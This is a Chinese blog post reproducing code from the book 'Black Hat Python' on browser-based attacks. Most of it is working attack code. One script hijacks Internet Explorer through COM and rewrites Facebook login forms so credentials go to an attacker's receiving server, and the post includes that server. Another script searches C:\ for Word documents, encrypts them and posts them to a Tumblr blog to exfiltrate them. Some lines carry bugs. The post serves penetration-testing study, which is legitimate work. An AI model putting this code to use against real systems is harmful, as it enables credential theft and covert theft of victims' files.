《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器
基于浏览器的中间人攻击
#coding=utf-8
import win32com.client
import time
import urlparse
import urllib data_receiver = "http://localhost:8080/" target_sites = {}
target_sites["www.facebook.com"] = {
"logout_url" : None,
"logout_form" : "logout_form",
"login_form_index" : 0,
"owned" : False
} #IE浏览器类的ID号
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' windows = win32com.client.Dispatch(clsid) while True:
for browser in windows:
url = urlparse.urlparse(browser.LocationUrl)
if url.hostname in target_sites:
if target_sites[url.hostname]["owned"]:
continue
#如果有一个URL,我们可以重定向
if target_sites[url.hostname]["logout_url"]:
browser.Navigate(target_sites[url.hostname]["logout_url"])
wait_for_browser(browser)
else:
#检索文件中的所有元素
full_doc = browser.Document.all
#
for i in full_doc:
try:
#找到退出登录的表单并提交
if i.id == target_sites[url.hostname]["logout_url"]:
i.submit()
wait_for_browser(browser)
except:
pass #现在来修改登录表单
try:
login_index = target_sites[url.hostname]["login_form_index"]
login_page = urllib.quote(browser.LocationUrl)
browser.Document.forms[login_index].action = "%s%s"%(data_receiver,login_page)
target_sites[url.hostname]["owned"] = True
except:
pass
time.sleep(5) def wait_for_browser(browser):
#等待浏览器加载完一个页面
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1) return
创建接收服务器
import SimpleHTTPServer
import SocketServer
import urllib class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""docstring for CredRequestHandler"""
def do_POST(self):
content_length = int(self.headers['Content-Length'])
creds = self.rfile.read(content_length).decode('utf-8')
print creds
site = self.path[1:]
self.send_response(301)
self.send_headers('Location',urllib.unquote(site))
self.end_headers() server = SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()
利用IE的COM组件自动化技术窃取数据
keygen.py:
#!/usr/bin/python
from Crypto.PublicKey import RSA new_key = RSA.generate(2048,e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM") print public_key
print private_key
decrypto.py:
#coding=utf-8
import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP private_key = "输入产生的公钥" rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey) chunk_size = 256
offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted) while offset < len(encrypted):
decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])
offset += chunk_size #解压负载
plaintext = zlib.decompress(decrypted) print plaintext
这段代码用于将赖在tumblr的编码文件进行base64解码,从而形成原始的明文字符串,最后进行负载解压。
ie_exfil.py:
#coding=utf-8
import win32com.client
import os
import fnmatch
import time
import random
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP doc_type = ".doc"
username = "lyshark"
password = "" public_key = "公钥" def wait_for_browser(browser):
#等待浏览器加载完一个页面
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1) return def encrypt_string(plaintext):
chunk_size = 256
print "Compressing: %d bytes"%len(plaintext)
plaintext = zlib.compress(plaintext) print "Encrypting %d bytes"%len(plaintext) rsakey = RSA.importKey(public_key)
rsakey = PKCS1_OAEP.new(rsakey) encrypted = ""
offset = 0 while offset < len(plaintext):
chunk = plaintext[offset:offset+chunk_size] if len(chunk) % chunk_size != 0:
chunk += " " * (chunk_size - len(chunk)) encrypted += rsakey.encrypt(chunk)
offset += chunk_size encrypted = encrypted.encode("base64") print "Base64 encoded crypto: %d"%len(encrypted) return encrypted def encrypt_post(filename):
#打开并读取文件
fd = open(filename,"rb")
contents = fd.read()
fd.close() encrypted_title = encrypt_string(filename)
encrypted_body = encrypt_string(contents) return encrypted_title,encrypted_body def random_sleep():
time.sleep(random.randint(5,10))
return def login_to_tumblr(ie):
#解析文档中的所有元素
full_doc = ie.Document.all #迭代每个元素来查找登录表单
for i in full_doc:
if i.id == "signup_email":
i.setAttribute("value",username)
elif i.id == "signup_password":
i.setAttribute("value",password) random_sleep() try:
#你会遇到不同的登陆主页
if ie.Document.forms[0].id == "signup_form":
ie.Document.forms[0].submit()
else:
ie.Document.forms[1].submit()
except IndexError, e:
pass random_sleep() #登陆表单是登录页面中的第二个表单
wait_for_browser(ie) return def post_to_tumblr(ie,title,post):
full_doc = ie.Document.all for i in full_doc:
if i.id == "post_one":
i.setAttribute("value",title)
title_box = i
i.focus()
elif i.id == "post_two":
i.setAttribute("innerHTML",post)
print "Set text area"
i.focus()
elif i.id == "create_post":
print "Found post button"
post_form = i
i.focus() #将浏览器的焦点从输入主体内容的窗口上移开
random_sleep()
title_box.focus()
random_sleep() #提交表单
post_form.children[0].click()
wait_for_browser(ie) random_sleep() return def exfiltrate(document_path):
ie = win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible = 1 #访问tumblr站点并登录
ie.Navigate("https://www.tumblr.com/login")
wait_for_browser(ie) print "Logging in..."
login_to_tumblr(ie)
print "Logged in...navigating" ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie) #加密文件
title,body = encrypt_post(document_path) print "Creating new post..."
post_to_tumblr(ie,title,body)
print "Posted!" #销毁IE实例
ie.Quit()
ie = None return #用户文档检索的循环
#注意:以下这段代码的第一行没有“tab”缩进
for parent,directories,filenames in os.walk("C:\\"):
for filename in fnmatch.filter(filenames,"*%s"%doc_type):
document_path = os.path.join(parent,filename)
print "Found: %s"%document_path
exfiltrate(document_path)
raw_input("Continue?")
代码用于捕获本地文件系统中的Word文档,并利用公钥对其进行加密,然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上
《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器的更多相关文章
- python黑帽子-黑客与渗透测试编程之道(源代码)
链接: https://pan.baidu.com/s/1i5BnB5V 密码: ak9t
- 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道
Python黑帽子 黑客与渗透测试编程之道 <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...
- 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道
python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...
- 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理
下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者
窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...
- 《Python黑帽子:黑客与渗透测试编程之道》 网络基础
TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能
有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...
- 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制
GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...
随机推荐
- ajax在jQuery中的应用 (1)加载异步数据
- idea创建spring boot+mybatis(oracle)+themeleaf项目
1.新建项目 选择idea已经有的spring initializr next,然后填写项目命名,包名 然后next,选择所需要的依赖 然后一路next,finish,项目新建成功,然后可以删除下面的 ...
- 【fiddler】抓取https数据失败,全部显示“Tunnel to......443”
这个问题是昨天下午就一直存在的,知道今天上午才解决,很感谢“韬光养晦”. 问题描述: 按照网络上的教程,设置fiddler开启解密https的选项,同时fiddler的证书也是安装到系统中,但是抓取 ...
- IOS 单击手势和cell点击冲突
环境: view上添加tableView,给view添加单击手势,点击cell却走的是手势方法. 解决: UITapGestureRecognizer *tap=[[UITapGestureRecog ...
- 简单实现"Tomcat"
Tomcat的主要功能就是接收客户端的Http请求,然后将请求分发,并且将请求封装,最后返回资源给到客户端.话不多说,开干. 一.实现设计图 (禁止盗图,除非先转支付宝!!!) ...
- Jersey RESTful WebService框架学习(二)使用@PathParam
@PathParamuri路径参数写在方法的参数中,获得请求路径参数.比如:@PathParam("username") String userName 前端请求: <!DO ...
- Nodejs的测试和测试驱动开发
测试是保证软件质量必不可少的一环.测试有很多形式:手动.自动.单元测试等等.这里我们只聊使用Mocha这个框架在Nodejs中实现单元测试.单元测试是测试等重要组成,这样的测试只对于一个方法,这样的一 ...
- Java网络技术-待续
TCP Sockets基础 Sockets,是用户程序与TCP/IP协议的中介. 实现TCP Sockets通信,需要本地IP和端口,对方IP和端口.客户端发通信请求,发送或接收流,关 ...
- Html5与Css3知识点拾遗(二)
页面title 选择能简要概括文档内容的文字作为title文字,title核心内容放在前60个字符 分级标题 1.创建分级标题时,避免跳过级别,如h3直接跳到h5,但允许从低级别跳到高级别. 2.不用 ...
- mysql查询 根据年月日的查询
select * from call_loan_info where DATE_FORMAT(create_time,'%Y-%m-%d') = '2017-06-16'